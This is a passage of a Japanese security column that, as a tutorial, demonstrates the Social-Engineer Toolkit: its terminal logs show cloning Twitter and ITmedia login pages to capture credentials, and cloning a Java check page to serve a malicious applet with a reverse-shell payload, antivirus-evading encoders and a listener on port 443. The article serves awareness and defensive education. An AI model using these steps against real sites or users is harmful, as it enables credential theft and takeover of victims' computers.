知らないほうがいいのかもね? 人の脆弱性にハラハラセキュリティ・ダークナイト(9)(2/3 ページ)

» 2012年04月10日 00時00分 公開

SETにおけるフィッシングサイト作成の流れ

 それではSETを用いて、どのようにフィッシングサイトが構築でき、攻撃できるかという流れを見ていこう。

 まず、「Credential Harvester Attack Method」という機能から見てみよう。これは、文字通りフィッシングサイトを作成し、そこに入力されたIDやパスワードなどの資格情報(Credential)を収集する(Harvest)、最もシンプルな(?)フィッシングサイトを構築する機能である。

 SETを起動し、以下のようにメニューから「Credential Harvestar Attack Method」を選択する(実際にはメニューの説明も表示されるが、以下のログでは割愛している)。

root@bt:~/set# cd /pentest/exploits/set/
root@bt:/pentest/exploits/set# ./set
----- SNIP -----
Select from the menu:
1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit
set> 1
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Third Party Modules
99) Return back to the main menu.
set> 2
1) Java Applet Attack Method?
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Man Left in the Middle Attack Method
6) Web Jacking Attack Method
7) Multi-Attack Web Method
8) Victim Web Profiler
9) Create or import a CodeSigning Certificate
99) Return to Main Menu
set:webattack>3
1) Web Templates
2) Site Cloner
3) Custom Import
99) Return to Webattack Menu
set:webattack>

 これで「Credential Harvestar Attack Method」を実行する準備が整った。

 この機能には、3つのメニューがある。ここでは、最も汎用性が高く、筆者も気に入っている「2) Site Cloner」を使用する。これは指定したURLのサイトを取得し、それを元にフィッシングサイトを構築するという、まさにクローン作成機能である。

 今回はこの機能を使って、「Twitter」と「アイティメディアID」のログイン画面をクローンしてみた。以下は「Twitter」のクローンを作成したログである。このログからも、どれだけ簡単にフィッシングサイトが作成可能かがお分かりいただけるだろう。

set:webattack>2
[-] Email harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:http://twitter.com/
[*] Cloning the website: http://twitter.com/
[*] This could take a little bit...
The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] I have read the above message. [*]
Press {return} to continue.
[*] Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:

 本物のサイトとクローンサイトの画像を見比べると、以下の通りである。

[Twitter]

本物のTwitterのサイト 本物のTwitterのサイト
SETを用いて作成した偽のサイト SETを用いて作成した偽のサイト

[ITmedia ログインページ]

本物のアイティメディアID ログインサイト 本物のアイティメディアID ログインサイト
SETを用いて作成した偽のサイト SETを用いて作成した偽のサイト

 一見しただけでは、アドレスバー以外には違いが分からないだろう。

 ここで、作成した「アイティメディアID」のクローンのほうにユーザー名とパスワードを入力し(画面6)、ログインボタンをクリックしてみる。すると、ユーザー側では何も起こらなかったように見える(画面7)。

画面6 偽の「アイティメディアID」サイトにユーザー名とパスワードを入力 画面6 偽の「アイティメディアID」サイトにユーザー名とパスワードを入力
画面7 ログインボタンをクリックしても、画面に変化はない 画面7 ログインボタンをクリックしても、画面に変化はない

 だが、アドレスバーに注目してほしい。よく見ると、クローン元のサイトにリダイレクトされていることが分かる。ここでユーザーが再度正しい情報を入力すると、当然、サイトへのログインに成功する。ちなみにこのリダイレクト先は設定により変更可能である。

 もし最初に、フィッシングサイトだと気付かず情報を入力したユーザーは、よもやフィッシングサイトに情報が送られているとは夢にも思わず、単に自分が入力を間違えただけだと勘違いしてしまうかもしれない。

 さて、SETの画面を見てみよう(画面8)。ユーザーから送信されたパラメータが表示されていることが分かるだろう。さらに親切なことに、「Ctrl+C」でSETを終了すると、HTMLレポートファイルを作成してくれる(画面9)。

画面8 画面7のバックエンドでは、ユーザーから送信されたパラメータが表示されている 画面8 画面7のバックエンドでは、ユーザーから送信されたパラメータが表示されている
画面9 無駄に親切なことに、HTMLレポートファイルの作成機能もある 画面9 無駄に親切なことに、HTMLレポートファイルの作成機能もある

 サイトによっては、環境変数「HTTP_USER_AGENT」によって表示する言語を変えたり、PC向けとスマートフォン向けを変えたりと、表示そのものを変更するサイトがある。SETはそうしたサイトのクローン用に、「/pentest/exploit/set/config/set_config」というパラメータを用意している。この「USER_AGENT_STRING=」以降を適宜変更すると、動的に表示が変更される。ちなみに、スマートフォンなど、Webブラウザのアドレスバーの表示領域が狭い環境では、ダイナミックDNSなどのサブドメインで似たアドレスを取得されてしまうと、勘違いしてしまう確率がさらに高くなるだろう。

 次に「Java Applet Attack Method」という機能を見ていこう。この機能は、Javaアプレットを通じて任意のコードを実行するというものである。

 今回の検証では、アクセスしてきたコンピュータにアプレットを実行させ、その制御を奪うというプロセスを試してみよう。

 まず先ほどの「Credential Harvester Attack Method」を選択した要領で、「Java Applet Attack Method」を選択し、「Site Cloner」を使ってフィッシングサイトを作成する。「それらしいサイトを用意する」という攻撃者の心理をなぞって、ここでは「Javaのバージョン確認ページ」を拝借した。

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Man Left in the Middle Attack Method
6) Web Jacking Attack Method
7) Multi-Attack Web Method
8) Victim Web Profiler
9) Create or import a CodeSigning Certificate
99) Return to Main Menu
set:webattack>1
1) Web Templates
2) Site Cloner
3) Custom Import
99) Return to Webattack Menu
set:webattack>2
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:http://www.java.com/ja/download/installed.jsp
[*] Cloning the website: http://www.java.com/ja/download/installed.jsp
[*] This could take a little bit...
[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: BLxA2ocHWcPo9RL
[*] Malicious java applet website prepped for deployment

 これでサイトの準備は完了だ。続いて、アクセスしてきたユーザーに対しどのような攻撃を行うかを選択していく。ここからは、対話的メニューの選択ごとに見ていこう。

What payload do you want to generate:
Name: Description:
1) Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker
2) Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker
---- SNIP ---
11) SE Toolkit Interactive Shell Custom interactive reverse toolkit designed for SET
12) RATTE HTTP Tunneling Payload Security bypass payload that will tunnel all comms over HTTP
13) ShellCodeExec Alphanum Shellcode This will drop a meterpreter payload through shellcodeexec (A/V Safe)
14) Import your own executable Specify a path for your own executable
set:payloads>1

 ここでは、ペイロード、つまりターゲットとなるコンピュータで実行するアクションを選択している。

 上記のログでは、最も単純な「Windows Reverse_TCP Meterpreter」を選択している。このペイロードを実行させられたコンピュータは、自らが発信元となって外部のコンピュータへ接続し、自身の制御を渡すという処理を行う。このような動作のことを「リバースコネクト」や「コネクトバック」と呼び、マルウェアに頻繁(ひんぱん)に利用されている手法である。

1) avoid_utf8_tolower (Normal)
2) shikata_ga_nai (Very Good)
3) alpha_mixed (Normal)
---- SNIP ----
15) Multi-Encoder (Excellent)
16) Backdoored Executable (BEST)
set:encoding>
(何も入力せずにエンター)

 ここでは、ペイロードに対してどのようなエンコーディングを行うかを選択している。この機能は、アンチウイルスやIDS(侵入検知システム)による検出を回避するために用いるものである。今回は明示的に選択していない。

set:payloads> PORT of the listener [443]:

 これが最後の選択項目である。これは、ターゲットとなるコンピュータの接続先となるポート、つまり、SETを実行しているコンピュータで待ち受けするポート番号の選択である。前述のペイロードの選択のところで、「リバースコネクト」「コネクトバック」を選択したが、ここで実際に制御を渡す先のポートを指定している。

 基本的に企業のネットワークなどでは、インターネットなどの外部ネットワークとの通信は最小限にしている(べき)と考えられる。しかし、tcp/80やtcp/443はブラウジングに使用されるため、疎通可能な状態になっていると想像が付くだろう。前述のRSAに対する攻撃でもそうだったが(図1)、ここをすり抜ける形で、攻撃を受けたコンピュータは指定したポートから文字通り「釣りあげられて」しまうのである。

図1 RSAセキュリティに仕掛けられた攻撃の概要 図1 RSAセキュリティに仕掛けられた攻撃の概要

Copyright © ITmedia, Inc. All Rights Reserved.

RSSについて

アイティメディアIDについて

メールマガジン登録

@ITのメールマガジンは、 もちろん、すべて無料です。ぜひメールマガジンをご購読ください。